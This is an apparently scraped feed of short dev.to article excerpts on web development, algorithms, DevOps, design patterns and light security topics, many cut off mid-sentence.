Ever since 2020, remote workers have become more common, and we usually work as contractors, which involves invoicing our "customers" on a monthly basis. Every month, we send the exact same invoices to the exact same people, over and over... A few days ago, my boss said something like "please remember to send your invoices, and if you haven't automated it yet, why haven't you?" and I was like "yeah, why haven't I?". So I did: https://github.com/sanbotto/auto-invoice I've set up an automated way to send my invoices on a monthly basis while paying $0. No charges for hosting nor email API, thanks to these services: Cloudflare Workers for the automated script. MailPace for the email API. Anyone who knows me knows that I love Cloudflare Workers and it's mainly because of this, because they have a more-than-generous free tier for you to set up anything you can think of, without having to worry about high bills. When it came to picking an email provider, I did a bit of research trying to find privacy-focused email providers that also had a free tier. I didn't wanna just hook up to any email provider that was gonna start selling my data to 3rd parties or anything like that as soon as I signed up... I noticed several people talking about MailPace, so I reached out to them to ask for access to their free tier and they were kind enough to give it to me (they might do that for everyone who asks, but still). I hope this simple tool can help out someone else stay on top of their invoicing. Catch you on the flippity flip 🏀  ( 6 min )

When you click Send in a chat app, you don’t want to wait for the server to respond before seeing your message appear. useOptimistic, a hook that lets you update the UI immediately while a background action (like sending a message) is in progress. This makes apps feel fast and responsive. useOptimistic? useOptimistic lets you show a temporary state (optimistic state) while an async action is underway. Syntax: const [optimisticState, addOptimistic] = useOptimistic( state, // confirmed state (current, val) => newState // function to compute optimistic state ); state → the confirmed state. optimisticState → what is shown while the async action runs. addOptimistic(val) → call this to update the UI optimistically. import React, { useState } from "react"; import { useOptimistic, …  ( 6 min )

Ambition, trust, and scale — the European formula for meaningful AI. Artificial Intelligence is the defining technology of our era. The question is no longer if it will transform industries, but where the most meaningful breakthroughs and commercial successes will happen. Many point to Silicon Valley or China as the natural leaders. I believe Europe has a unique chance — and responsibility — to define the next decade of AI. The challenge is simple: we must keep our ambition high and convert momentum into market leadership. World-class research. Universities and labs across the continent consistently advance ML, systems, and applied AI. Trust by design. With frameworks like the EU AI Act, Europe is positioned to set global standards for safe and responsible AI — a long-term advantage. …  ( 6 min )

There was a time when Django was the go-to for web apps. Clean admin, fast MVPs, and battle-tested security—all baked in. It was everywhere. Then came the React hype cycle. JavaScript frameworks multiplied like mushrooms, and Django got labeled “old school.” Meanwhile, companies like Instagram and Pinterest quietly kept Django in production. And outside Silicon Valley, governments, universities, and healthcare systems never stopped trusting it. Now in 2025, teams are realizing: speed, security, and stability still matter. Django never stopped delivering. This isn’t nostalgia. It’s about why Django’s back in the spotlight—not because it’s trendy, but because it works. You’d think governments would be the last to bet on a web framework. Turns out, Django is quietly powering national infrastr…  ( 7 min )

MCP/Tools Are Not REST API: Here's a Better Design Peter Mbanugo ・ Aug 16 #ai #llm #systemdesign #node  ( 5 min )

Large language models (LLM) without access to current data are almost useless. They need enough data and context to do the right thing, and that's where tool calling becomes leverage. The rise of MCP has unlocked more possibilities for AI agents to access current information and therefore provide useful results. Tools are functions or APIs that models or agents can call to perform tasks. A good practice for tool design is to provide a clear description of what each tool does and when to use it. You’ll find this info in some good resources about tools and function calling, but I’d like to address something else: Tools are not REST APIs. What do I mean? A lot of companies now offer MCP for their products and services. Most of the time, it's just a direct abstraction of their REST or GraphQL …  ( 8 min )

Just finished building my Note API where I combined authentication, authorization with JWT and full CRUD functionality to manage user-specific notes. Really happy with how this small project helped me understand securing APIs and structuring backend logic. Repo: https://github.com/imrancodes/Note-API  ( 5 min )

Introdução: Corpo: Laravel Lusophone: biblioteca de localização cultural para Laravel. Sistema de monitoramento de pontos críticos rodoviários: alertas automáticos por email. PromoZone: app de comparação de preços de produtos, estilo Trivago, para lojas de Moçambique. Aplicativos de controle financeiro: apps mobile para gestão de salário e despesas pessoais. Conclusão: GitHub: github.com/arnaldo-tomo Portfólio: arnaldotomo.dev  ( 5 min )

A practical guide to cleaner Swift: early-exit with guard, pattern matching, and tidy switch cases. Learn when to reach for if vs guard vs switch with real-world snippets. Keep functions flat, testable, and easy to read. Article  ( 5 min )

Introdução: Corpo: Open Source: Laravel Lusophone é a prova de que soluções locais podem ter impacto global. Projetos que ensinam e ajudam: apps de monitoramento rodoviário, controle financeiro e comparação de preços. Inovação e comunidade: sempre busco criar ferramentas que facilitem a vida de outros desenvolvedores e usuários, incentivando colaboração. Conclusão: GitHub: github.com/arnaldo-tomo Portfólio: arnaldotomo.dev Laravel Lusophone: laravellusophone.arnaldotomo.dev  ( 5 min )

Git Flow is a proven framework, but unlike Git itself, it's not a set standard. Just because it's well-documented and has excellent tool support doesn't mean other git branching techniques couldn't improve your performance much better – Git Flow could cost more than you think. I've implemented Git Flow in teams multiple times, and in all cases it was an improvement. But when things change, the tools have to change sometimes too. The pattern is clear: teams often choose Git Flow because it sounds professional, not because they analysed whether it solves their actual problems. Here's how to choose more intentionally based on my experience. Risk Level Small Team (2-4) Medium+ Team (4+) Low Risk Tolerance (Poor testing, compliance, can't break production) Simplified Git Flow Simplified…  ( 10 min )

If you’ve spent some time in the tech world, you’ve probably heard the word API thrown around a lot. But what exactly is an API? Why does everyone seem to rely on it? And how can you, as a beginner, understand and even use one? This blog will break everything down in simple terms, with real-world analogies, types of APIs, code examples, and how you can test them. By the end, you’ll be able to confidently explain what an API is, and even make your first API call! API stands for Application Programming Interface. Think of an API as a waiter in a restaurant: You (the customer) look at the menu (the API documentation). You ask the waiter for a meal (you send a request). The waiter takes your order to the kitchen (the server). The kitchen prepares the food (processes the data). The …  ( 8 min )

🏹 The Beacon Riders of the Northern Realms — The Dijkstra Saga "In the kingdom where roads shimmered with frost, the fastest rider was the one who chose his next step with care." Songs of the Winter Messenger The Northern Realms were a land of villages connected by winding frozen roads, each road taking a certain amount of time to travel. capital to every other village, carrying news of an approaching winter storm. messengers must always choose the currently closest unexplored village to visit next, so no time would be wasted wandering far before checking nearer places. #include #include #include #include >> adj; vector dist; const int INF = numeric_limits…  ( 7 min )

⚔️ The Caravan Through the Lands of Shadows — The Bellman-Ford Saga "In a land where roads could twist in deceit, the fastest path was not always the one that looked shortest…" Chronicles of the Desert Traders There were n cities scattered across the desert. negative when a generous city paid travelers to pass through. But the desert was treacherous: some paths would loop forever, endlessly making profit — cursed loops, they called them. find the shortest path from a starting city to all others — and to know if any cursed loop existed. #include #include #include using namespace std; struct Edge { int u, v, w; }; The traders recorded every known road in a scroll of edges: u — the city where the road began v — the city where it ended w — the toll or rewa…  ( 7 min )

🌌 The Conclave of All Roads — The Floyd-Warshall Chronicles "In the Age of a Thousand Paths, no traveler could truly know the shortest road until every rumor was tested against every road, from every land to every land." Annals of the Great Cartographer The world was vast — n kingdoms scattered across valleys, mountains, and rivers. fragmented tales of roads: "From my town to yours, it takes 5 days." "I heard that through the mountain pass via K, it might be faster." But no one truly knew the best way to travel from every kingdom to every other kingdom. So the High Conclave of the Great Mapmakers convened to settle the matter once and for all. They would compare every pair of kingdoms (i, j) — but in a methodical, almost mystical way. #include #include #include <lim…  ( 8 min )

Servus and welcome to Day 40 of my journey — today I managed to build the first email automation for the project. The automation is up and running! It feels good to see the system slowly coming together piece by piece. That’s all I could finish today. I’ve been working 11 hours straight for the third day in a row, and on top of that, the heat makes it even tougher to stay fully focused. Still, every bit of progress counts. 🚀 Tomorrow I’ll continue improving the automations and hopefully wrap up this part of the setup. See you tomorrow, Jonathan (0xj0n1)  ( 5 min )

🚀 What I Learned About Software Documentation 📚 I've been studying software documentation practices and wanted to share a structured view that helped me make sense of things. Product documentation 🛠️ focuses on features, expected behavior, and how components fit together. Process documentation 🗂️ focuses on work: who does what, when, and how to ensure consistent, quality outcomes. Produced during SDLC planning Communicates expected features & acceptance criteria Artifacts: SRS, system requirements, user acceptance specs Created by architects/engineers Explains how requirements will be built (conceptual & technical) In-code comments, READMEs, architectural notes Helps current & future devs understand the codebase Test plans, cases, data, strategies, traceability matrices Guides testing & measures quality Manuals, help articles, guides for end users Provide guardrails for consistent, quality execution SOPs = actionable, step-by-step instructions for recurring complex tasks (e.g., release checklists, code check-in, incident response) Formats: flowcharts, hierarchical checklists, step lists Documentation is an investment: ⏱️ Reduced onboarding time 🐞 Fewer bugs from misaligned assumptions 🔁 Repeatable releases 🤝 Better cross-functional collaboration If you’re looking to improve documentation at your org, start with: Who consumes the doc? What decision does it support? How do you keep it maintained? 🤔 What documentation practice has had the biggest impact on your team? SoftwareDocumentation #SDLC #TechnicalWriting #ProductManagement #QA #Engineering  ( 6 min )

The Meta-Prompt Development Lifecycle: From Assembly to Interactive AI Programming By Ziv Kfir Introduction Historical Evolution of Software Development The Meta-Prompt Development Paradigm Meta-Prompt Development Lifecycle (MPDL) Interactive Meta Prompting Development (IMPD) Future Directions Conclusion Glossary References The evolution of software development has been marked by revolutionary paradigm shifts that fundamentally changed how developers create, maintain, and deploy software systems. From the mechanical complexity of assembly language to the abstract elegance of high-level programming languages, each transition has increased productivity, reduced complexity, and enhanced accessibility to software development. Today, we stand at the threshold of another paradigm shift: Meta-P…  ( 22 min )

Day 26 is all about stepping up from Freestyle Projects to Jenkins Pipelines, which is the real deal in CI/CD. Let me walk you through it step by step: Pipeline: This is a powerful concept in continuous integration and continuous delivery (CI/CD). Think of it like an automated assembly line for your software. Each step—like building the code, running tests, and deploying the app—is a station on the line, and the pipeline ensures they all happen in the correct order, every time. Declarative Pipeline: This is the modern, recommended way to write a Jenkinsfile. It uses a structured syntax that's easy to read and understand, and it gives you a lot of built-in features. It’s like using a pre-defined template for your pipeline; you just fill in the blanks, which makes the code more maintainable.…  ( 7 min )

16th Aug 2k25 Today was just a less complex silent day. Solved the potd -> the ques was pretty simple had to make max number by replacing 1 digit Did some backend work ended the day with watching few lectures of js , learned hoisting , call stack , temporal dead zone , scope of variable , variations of functions and returning values , classes and objects . Hoping to solve more questions tmr and contribute to some open source repo . Good Night  ( 5 min )

Hey, tech enthusiasts and curious minds, picture this: Elite campuses like Harvard and MIT are buzzing not with excitement but with concern. Students are hitting pause on their degrees, frightened by AI's rapid rise or drawn in by its opportunities. This isn't just a trend; it's a wake-up call that combines existential worry, career considerations, and entrepreneurial spirit. Let's explore the data, stories, and tech realities behind this shift while keeping it real and relatable. Leading experts at OpenAI and Google DeepMind are revealing big news; AI achieving human-level intelligence (AGI) could happen before 2030. DeepMind's Demis Hassabis and Sergey Brin attribute this to increasing computing power and model scaling. Their extensive 145-page report outlines paths to AGI, warning of ri…  ( 8 min )

Introduction Are you tired of writing endless if-else statements or massive switch cases in your Laravel applications? Do you find yourself duplicating code across multiple controllers just to handle different business logic scenarios? The Strategy Design Pattern might be exactly what you need to clean up your codebase and make it more maintainable. The Strategy pattern is one of the most powerful behavioral design patterns that allows you to define a family of algorithms, encapsulate each one, and make them interchangeable at runtime. In Laravel applications, this pattern can dramatically improve code organization, reduce complexity, and enhance testability. In this comprehensive guide, you'll learn how to implement the Strategy pattern in Laravel, explore real-world use cases, and disc…  ( 13 min )

Building the future of terminals, one commit at a time The Problem That Started It All As developers, we spend hours every day staring at terminal windows. Yet somehow, we've collectively decided that these essential tools should look like they were designed in 1982 and be about as inspiring as watching paint dry. I got fed up with this. Code Meets Creativity I'm the creator behind RinaWarp Terminal and founder of Rinawarp Technologies, LLC. What began as frustration with clunky terminal experiences evolved into building an AI-powered terminal that reimagines how developers work. My background is a blend of code and creativity – I publish music as Rina Vex and believe the best software comes from understanding both the technical and human sides of problems. This philosophy shaped RinaWarp …  ( 7 min )

I’m currently working through the 100 Days of DevOps challenge on KodeKloud. This repository tracks my solutions, notes, and progress as I explore a wide range of practical DevOps topics, from Linux basics to cloud automation with Terraform. About This Repository Step-by-step solutions for the DevOps challenges I’ve completed so far. Notes, scripts, and configurations for Linux, Git, Docker, Kubernetes, Jenkins, Ansible, Nginx, Tomcat, and Terraform. Practical examples for setting up infrastructure, deploying applications, and automating workflows. Repository Link GitHub — 100 Days of DevOps Solutions  ( 5 min )

You have a vision. A creative project that needs an online home. A modern space that feels soft and warm, but with a serious back-end ready for business. This is the essence of Vibe Coding, a process where your aesthetic and brand personality drive the technical decisions. It's a collaborative process with an AI like Gemini and Claude, transforming your vision into a real, functional application. For a recent e-commerce project on Rails 8, an AI assistant took on the role of a senior developer. The entire process was managed by the Kilo Code VSCode extension. The extension's Orchestrator agent handled the workflow. It directed the Architect (powered by Gemini) for planning and the Code agent (powered by Claude Sonnet 4) for implementation. When needed, an Ask agent provided clarifications…  ( 8 min )

What WAS the True Secret of the Mimic? Game Theory’s Tom teams up with FNAF experts Dawko, FuhNaff, RyeToast, HyperDroid and IDsFantasy to crack the biggest mysteries of Five Nights at Freddy’s: Secret of the Mimic. Together they dive into hidden lore, dissect in-game clues and finally reveal what makes the Mimic tick. Plus, stay tuned for a special teaser—something new is dropping soon! Catch the full deep dive on Steam and grab exclusive merch at the Theoryverse store. Watch on YouTube  ( 5 min )

When Mike presses 'reheat' on his microwave. He is commanding more computing power than NASA used to land on the moon. His coffee maker is measuring water temperature to within one degree. His dishwasher is making decisions about drying cycles and measuring water. He doesn't know that he is piloting a high-tech lab in his kitchen. Every time you make coffee for yourself at home or when you order a coffee in a coffee shop, you are living a lab experience where you are the researcher or the final tester. In our modern era, coffee machines are equipped with precision temperature sensors, programmable timing systems, and even wireless connectivity through smartphones.  You won't guess it, but in your kitchen, you have a powerful device that is so powerful that it could have launched Apollo. Y…  ( 10 min )

In Part 1, we built the BookingService and successfully booked a request. However, this was done as a one-off API call, which isn’t the most efficient approach. In this article, we'll add a Background worker that queues Booking Requests and executes them in the background. We'll also introduce a Redis cache to save frequently assessed seats in a Booking request, which will reduce the load and effort on the database and ultimately improve the performance of the system. Let's begin. In TicketBooking.Application, run this command to install the package as we'll be needing it; Install-Package Microsoft.Extensions.Hosting.Abstractions Next, add a folder called BackgroundServices and then add these 3 classes BackgroundBookingWorker, IBackgroundBookingQueue, BackgroundBookingQueue with these cod…  ( 9 min )

A modern and vibrant landing page template for tech gadgets and electronics. Includes hero banner, product highlights, features, testimonials, and call-to-action sections. Perfect for online gadget stores and startups.  ( 5 min )

When we talk about viruses, most people think of pandemics that attack humans. But what if the next outbreak didn’t target us, but instead our digital infrastructure? Imagine malware that doesn’t just execute a script but rewrites and evolves itself. That’s the terrifying reality AI-powered malware could bring. Traditional malware was dangerous, but at least predictable. Security researchers could dissect it, identify weaknesses, and patch systems. But with machine learning and AI, malware can become adaptive. It can study its own failures, rewrite its attack strategy, and evolve beyond detection systems. Essentially, it turns into a hacker that never sleeps, never eats, and constantly improves. Past attacks like WannaCry or Stuxnet shook the world. AI-powered malware could make th…  ( 6 min )

We had faced this issue in our AWS EKS cluster; I wrote an article about that incident. See it here. CIDR Conflict When Moving from AWS CNI to Cilium TL;DR This entire debugging experience reminded us how low-level networking issues can surface in unexpected ways sometimes months after a change is made. If you’re using Cilium in a cloud environment like EKS: Always define non-overlapping IP ranges for Cilium’s IPAM. Be cautious with large CIDRs like 10.0.0.0/8. Use tools like Hubble and Wireshark in combination to debug packet flows. Document your VPC-wide CIDR usage especially when you use multiple clusters or peered networks. Hope this post helps you avoid days of frustration and maybe even saves your cluster someday.  ( 5 min )

Hey there! I'm kode-n-rolla — a security researcher diving deep into Web3 security. I'm fascinated by how blockchains work under the hood, especially when it comes to smart contract vulnerabilities. Every day I’m reverse-engineering contracts, breaking things (ethically 😉), and sharpening my Solidity + Foundry skills. Recently, I discovered Cyfrin Updraft — a free platform for learning Solidity and blockchain security. Alongside their learning modules, they offer unique NFT challenges. These are not ordinary quizzes — you have to actually exploit something to solve the task and earn a badass on-chain NFT proving your skills 🧠🔓 This article is a walkthrough of how I solved Lesson Nine, a challenge where your goal is to guess a pseudo-random number and call solveChallenge(...) to claim …  ( 11 min )

Hey fellow developers! 👋 Remember that gut-wrenching feeling before a technical interview? The sweaty palms, the racing thoughts, wondering if you'll blank out when asked to implement a binary tree? Yeah, I've been there too. That's exactly why I built the AI Interview Simulation feature for Go Interview Practice – and honestly, it's been a game-changer for so many developers (myself included!). Let's be honest – coding interviews are nerve-wracking. You might be a brilliant developer who ships features daily, but put you in front of a whiteboard (or shared screen) with a stranger watching your every keystroke, and suddenly your brain turns to mush. I realized this when I was helping a friend prepare for their dream job at a Go-heavy startup. They knew the language inside and out, had bui…  ( 8 min )

In the last two posts, I introduced the Atomic Query Construction (AQC) design pattern and showed how it transformed my Laravel architecture. If you haven’t read those yet, I recommend checking them out first: https://raheelshan.com/posts/introducing-the-atomic-query-construction-aqc-design-pattern https://raheelshan.com/posts/laravel-architecture-evolved-aqc-took-over-everything In this post, I’ll finally break down AQC in action — with detailed use cases and examples. AQC Philosophy:You ask for a scenario — and I give you exactly the result you need. Let’s walk through a typical eCommerce system. Imagine it’s made of the following components: Admin Control Panel (ACP) internal back-office operations E-commerce Website (EW) public-facing storefront Mobile Application (MA) companion ap…  ( 9 min )

Are you tired of your Raspberry Pi's IP address changing every time you reboot? Whether you're running a home server, IoT project, or a custom dev environment, a static IP is your ticket to reliable networking. Let’s make your Pi’s network setup as stable as your coding passion! Set Static IP on Raspberry Pi? A static IP ensures your Raspberry Pi keeps the same address on your network, making it easier to: Access your Pi consistently for SSH or remote desktop. Run servers (like web or game servers) without IP conflicts. Simplify IoT or home automation projects. No more hunting for your Pi’s new IP after a router restart—let’s lock it down! Connect to Your Pi Fire up your terminal and SSH into your Pi or use its desktop terminal. Not sure how? Check your router’s connected devices list…  ( 6 min )

Smart insights for business. Stunning visuals for content creators. Try it now → 🎉 709 joined · 787 infographics created From extracting trends in your data to visualizing global comparisons — StatPecker delivers quick, credible answers you can publish, present, or share with your team. Ask AI your question, like: “Compare the GDP of the top 5 economies.” Get clear, accurate data visuals sourced from credible references — in seconds. Publish the visuals in blog posts or presentations to enhance your content. Get instant insights from validated sources using AI. No complex tools, just ask! Make your visuals interactive and seamlessly integrate them into blogs, articles, and websites. Extract key insights from local CSV files — no spreadsheets needed. Export infographics as images for reports, presentations, and more. Start creating with StatPecker today — no cost, no hassle, just better data storytelling. IndieVoice Startup Fame Twelve Tools Started with SVGs before 3G was cool. Built ClassCloud at Zaya to deliver education to schools without internet. Later worked on AI for reading shipping docs and fine-tuned chatbots at Haptik — before GPT made them mainstream. Now he's building StatPecker, while navigating the chaos of parenthood — one diaper at a time. Started at Goldman Sachs (Marcus), scaled Uber Eats’s merchant platform, and rebuilt a legacy ads engine at ShareChat into a lightning-fast Next.js setup. Most recently at Uber, he built SDKs for observability and error reporting. Now, he’s blending code, product, and creativity at StatPecker.  ( 6 min )

Introduction The CAP theorem is a cornerstone of distributed systems theory, frequently discussed in technical interviews for roles involving system design. Proposed by Eric Brewer, it states that a distributed system can only guarantee two out of three properties: Consistency, Availability, and Partition Tolerance. This trade-off shapes the design of modern systems like databases, microservices, and cloud architectures. In interviews, CAP theorem questions test your ability to reason about distributed system trade-offs and design systems that align with business requirements. Let’s dive into the theorem, its implications, and how to tackle it in interviews. The CAP theorem applies to distributed systems, where data is spread across multiple nodes (servers) that communicate over a netwo…  ( 7 min )

If you’ve been following my Laravel writing journey, you know where we started. 1. Laravel CRUD Like a Pro introduced the idea of a handle() method inside FormRequest classes — a simple way to collapse validation, authorization, and persistence into one clear action. 2. The End of Redundant Forms removed form redundancy with findOrNew()+ old() by pushing toward even more elegant CRUD. 3. Atomic Query Construction (AQC) Design Pattern a dedicated pattern for encapsulating business logic behind queries and data manipulations. This post is about the next step in that evolution: replacing handle() from FormRequest with dedicated AQC classes. And more importantly, it’s about why — and how — this pattern unlocks serious architectural power, implementing onion architecture that handles web, API, …  ( 7 min )

I printed my first "Hello, World!" about three days ago. Today, I committed to Google Summer of Code. Language Chosen: Python Code: `print(" /\\") print(" / \\") print(" / \\") print(" / \\") print("/________\\") human="zootri" print(human) print(human.upper()) print(human.lower()) print(human.isupper()) print(human.replace("z", "M")) ####calculator a=input("Enter the number:") b=input("Enter the second number:") c=input("Enter the operator:") if c=="+": result=(int(a)+int(b)) elif c=="-": result=(int(a)-int(b)) elif c=="*": result=(int(a)*int(b)) elif c=="/": result=(int(a)/int(b)) print("The result is:", result ) #### As u say who=input("Name of a profession:") who2=input("Common noun:") place=input("Place:") print("Despite the fact that"…  ( 9 min )

Originally published on holtonma.github.io Exercising those muscles of grit and resiliency that are essential to improving at our craft I've been thinking about what drives me to build things. It is curiosity and craftsmanship. Those two things have been consistent throughout my career and life - from LabView as a Physics undergrad, to many different languages and technologies, to Rails web applications, to data pipelines to now LLM-based architectures. Even golf on the driving range as a kid, tinkering with clubs, swing changes. Trying to constantly improve and understand the fundamentals, and then put them to test. Early days, decades ago, putting self to the test in tournaments - after work and tinkering with fundamentals and constantly trying to improve I am setting up this AI lab w…  ( 9 min )

Senior C#/.NET Developer Learning Plan Topics - C# 10-12 Features Global Using Directives *Explanation *- This feature allows you to declare common namespaces globally, eliminating the need to add using statements in every file. Real-world use: In large projects, many files might use the same set of namespaces (e.g., System, System.Collections.Generic, System.Linq). Global usings can significantly reduce the boilerplate code at the top of each file, making code cleaner and more readable. Code Samples. global using System; global using System.Collections.Generic; global using System.Linq; public class Product { public string Name { get; set; } public decimal Price { get; set; } } public class Order { public List Products { get; set; } = new(); public decimal TotalPrice => Products.Sum(p => p.Price); public void AddProduct(Product product) { Products.Add(product); } public void RemoveProduct(Product product) { Products.Remove(product); } public void ClearProducts() { Products.Clear(); } public override string ToString() { return $"Order with {Products.Count} products, Total Price: {TotalPrice:C}"; } } public class Program { public static void Main(string[] args) { Order order = new(); order.AddProduct(new Product { Name = "Apple", Price = 1.20m }); order.AddProduct(new Product { Name = "Banana", Price = 0.80m }); Console.WriteLine(order.ToString()); } }  ( 5 min )

When I started my career as a developer, one of my senior team members used to construct queries in core PHP using concatenation based on different parameters. Once the construction was complete, he would echo it for different use cases and run it in PHPMyAdmin or SQLyog. Once satisfied, he’d move on. I always liked the way he built those queries. Later, when I moved on to CodeIgniter and eventually Laravel, I noticed something: Developers often write SQL or ORM-based queries buried deep inside controllers, services, views, event listeners — even helpers. This scattered approach leads to redundancy and painful maintenance. We’ve all seen this. This always bugged me. Why repeat the same logic scattered across the application when it can be centralized?  Being an OOP geek, I finally settled …  ( 9 min )

In the past one decade, there has been an exponential surge in the online activity of people across the globe. The volume of posts that are made on the web every second runs into millions. To add to this, the rise of social media platforms has led to flooding to content on the internet. Social media is not just a platform where people talk to each other, but it has become very vast and serves many more purposes. It has become a medium where people Express their interests. Share their views. Share their displeasures. Compliment companies for good and poor services. So in this article, we are going to learn how we can analyze what people are posting on social networks (Twitter) to come up a great application which helps companies to understand about their customers. Before we drive further, …  ( 13 min )

Back in the early days of programming, coders relied on text editors and compilers, often debugging with little more than instinct. Fast forward to 2025, and AI coding tools are transforming that reality. They’re no longer just speeding up typing — they’re evolving into creative partners capable of writing, testing, and even improving code autonomously. We’re now witnessing the rise of three distinct generations of AI coding tools. Understanding this evolution reveals not only how far we’ve come, but also how the role of developers is changing. 👉 Want a deep dive? Check out the full article here: The Three Generations of AI Coding Tools, and What to Expect Through the Rest of 2025. The first wave of AI tools acted like autocomplete on steroids. They could predict the next line of co…  ( 6 min )

The invention of the internet can be traced back to the 1960s, when researchers, government officials, and other operational heads needed to share information with one another. However, the Internet phenomenon began in the 1990s, when renowned Tim Berners-Lee introduced the "World Wide Web" in 1989. His work was closed during that time, but it was made available to the general public in 1993, and it has since progressed to where we are today. His primary focus was on the inefficient management of files and information at his organization CERN. So he suggested a linked system of information nodes. This work can be accessed in the following This is a simple system diagram to demonstrate how web1.0 works: Web 1.0 was the "read-only" web with mostly static web pages. Means it allowed people…  ( 7 min )

Hey folks 👋 Today was one of those days where I connected some long-missing dots in my developer journey. 🚀 Deployment 🌀 Git Issue (finally solved!) 🔧 Backend Exploration But your gurl is finally learning that thing! Step by step, it’s starting to make sense. Instead of fear, I’m actually getting curious about how it all connects. And that’s a huge shift for me. 🔁 DSA Revision Some days are just about clearing blockers. Key Takeaway 🗝️ Until tomorrow, Akshita 🌸  ( 6 min )

Consider a situation where you need to repeatedly install an already-installed software, which also has several applied patches, in an environment. Installing the software first and then applying all the patches can significantly increase installation time and make the process more complex. Oracle provides a solution for this: creating a Gold Image from the existing installed software (including applied patches). Creating a Gold Image from installed software can accelerate reinstallations and simplify the installation process. In this article, we will explain how to create a Gold Image from GI HOME and Oracle HOME. Creating Gold Image from Grid Infrastructure For example, by executing the following command, we create a Gold Image from Grid Infrastructure 19cR9. This way, for reinstalling G…  ( 6 min )

What happens when you go from "hello world" AI to orchestrating an entire team of agents that need to collaborate without destroying each other? Spoiler: everything that can go wrong, will go wrong. After 6 months of development and $3,000 burned in API calls, I learned some brutal lessons building an AI orchestration system. This isn't your typical polished tutorial—these are the real epic fails nobody tells you about in those shiny conference presentations. The Fail: My Director AI, tasked with composing teams for projects, consistently created teams of 8+ people to write a single email. Estimated budget: $25,000 for 5 lines of text. The Problem: LLMs, when unconstrained, tend to "over-optimize." Without explicit limits, my agent interpreted "maximum quality" as "massive team." The Fix: …  ( 7 min )

JavaScript vs Python: Which Is Better? As developers, we often face the classic debate: JavaScript or Python? Both are powerful, widely used, and beginner-friendly — but they shine in different areas. 🔹 JavaScript The king of the web — runs natively in all browsers. Perfect for frontend (React, Vue, Angular) and backend (Node.js). Asynchronous and event-driven, great for real-time apps. 🔹 Python Known for readability and simplicity. Popular in data science, AI/ML, automation, and backend (Django, Flask). Huge library support for scientific and business applications. So which is “better”? In the end, the choice depends on your career goals and project needs. 💡 Question for you: If you had to start a new project today, would you choose JavaScript or Python, and why?  ( 5 min )

As I continue to learn about cybersecurity, I must know how to interact with various protocols that are the languages that computers use to communicate. Sending an email or securing a server, protocols define how data is transmitted, authenticated, and interpreted across networks. Understanding these protocols is not just academic knowledge; it's crucial for building robust, secure, and efficient applications and systems. So here are some of the common protocols. HTTP is the foundation of data communication for the World Wide Web. It defines how clients (like web browsers) request and receive resources (like HTML pages, images, videos) from servers. The Use: Fetching web pages and other resources from web servers. port: By default, HTTP uses port 80 purpose: communication between web br…  ( 8 min )

Ready to kickstart your cybersecurity journey? The LabEx 'Cybersecurity' learning path is your ultimate guide, designed for absolute beginners. Forget dry textbooks; we're all about hands-on learning! This path covers everything from the basics to network security, cryptography, and ethical hacking. You'll gain practical, real-world skills through interactive exercises in a secure, sandboxed environment. Let's explore some of the exciting labs waiting for you! Difficulty: Beginner | Time: 5 minutes In this RHCSA 9 challenge, you will create a bash script that processes command-line arguments, demonstrating essential scripting skills required for the RHCSA exam. Practice file creation, permission management, and bash scripting techniques on Red Hat Enterprise Linux 9. Practice on LabEx → | Tutorial → Difficulty: Beginner | Time: 10 minutes In this challenge, you will learn how to adjust process scheduling on a Linux system. Practice on LabEx → | Tutorial → Difficulty: Beginner | Time: 25 minutes In this lab, you will learn web vulnerability scanning using Nikto on Kali Linux. Explore how to run scans, identify security issues, analyze results, and export reports. Gain hands-on experience with Nikto's command-line interface through structured steps in the LabEx VM, building skills in web security assessments. Practice on LabEx → | Tutorial → Ready to dive in? These labs are just the beginning. Each one builds your confidence and skills, preparing you for real-world cybersecurity challenges. Don't just read about it – do it! Start your hands-on journey with LabEx today and unlock your potential in cybersecurity.  ( 6 min )

En tant que développeuse full-stack dans une entreprise qui jongle avec plusieurs produits, je travaille principalement sur des applications web. Le mobile n'est pas notre spécialité, et comme souvent, nous faisons les montées de version au dernier moment. C'est dans ce contexe que replonge dans les profondeurs de React Native. npm run android et l'application se lance, mais tout ce n'est pas passé comme prévu. Mission : passer d'Android SDK33 à 35 pour supporter Android 15 Modification du android/build.gradle  pour basculer  compileSdkVersion et targetSdkVersion vers 35 Mise à jour buildToolsVersion vers "35.0.0" Upgrade Android Gradle Plugin : 8.2.0 → 8.6.0 (première alerte rouge que j'aurais du voir venir) Ajout de la propriété magique android.suppressUnsupportedCompileSdk=35 dans gradl…  ( 7 min )

TL;DR: 📝 Week 9 Highlights Created secure users and policies for the team Virtual Private Cloud (VPC) Designed networks for real-world apps EC2 Compute Deployed services and Docker apps AWS CLI Automation Scripted infrastructure as code for repeatability Key Lessons Automation first: Everything in AWS can be scripted and version-controlled. Think global: Regions and Availability Zones make apps reliable and fast everywhere. DevOps synergy: Easy to plug pipelines and CI/CD tools into AWS. Sample CLI Automation aws ec2 create-vpc --cidr-block 10.0.0.0/16 aws ec2 run-instances --image-id ami-xxxxxx --instance-type t2.micro --key-name devops-key From Learning to Real-World Readiness Setting up secure, auditable cloud environments Automating server setup at scale Preparing for advanced topics: container orchestration, scaling, and cloud-native monitoring Next week: Links: https://www.linkedin.com/in/iamdevdave/ | https://awsndevops.hashnode.dev/week-9-from-zero-to-aws-hero-core-cloud-skills-in-the-devops-bootcamp  ( 5 min )

Hi there! I'm Maneshwar. Currently, I’m building a private AI code review tool that runs on your LLM key (OpenAI, Gemini, etc.) with flat, no-seat pricing — designed for small teams. Check it out, if that’s your kind of thing. Design patterns are standardized solutions to common software design problems. The term “Gang of Four (GoF)” refers to 23 classic object‑oriented patterns cataloged by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides in their seminal book. These patterns provide reusable blueprints for solving recurring design challenges. The GoF patterns are organized into three groups: Creational, Structural, and Behavioral, each addressing a different aspect of class and object design. Creational patterns abstract and encapsulate object creation to make systems mor…  ( 7 min )

Automatic gate systems have become a standard feature in modern residential and commercial spaces. They provide both security and convenience, reducing the need for manual operation. But behind every smooth motion of a gate lies a system of sensors and logic controllers that ensure safety and functionality. Python, with its accessible syntax and rich library ecosystem, is an excellent tool for integrating and managing these sensors. In this post, we will explore how Python can interact with sensors in gate systems, and we’ll provide multiple code examples to demonstrate real-world scenarios. Python is known for its simplicity and versatility. For automatic gate systems, Python can help by: Reading and processing signals from sensors (infrared, ultrasonic, magnetic, photoelectric). Contro…  ( 7 min )

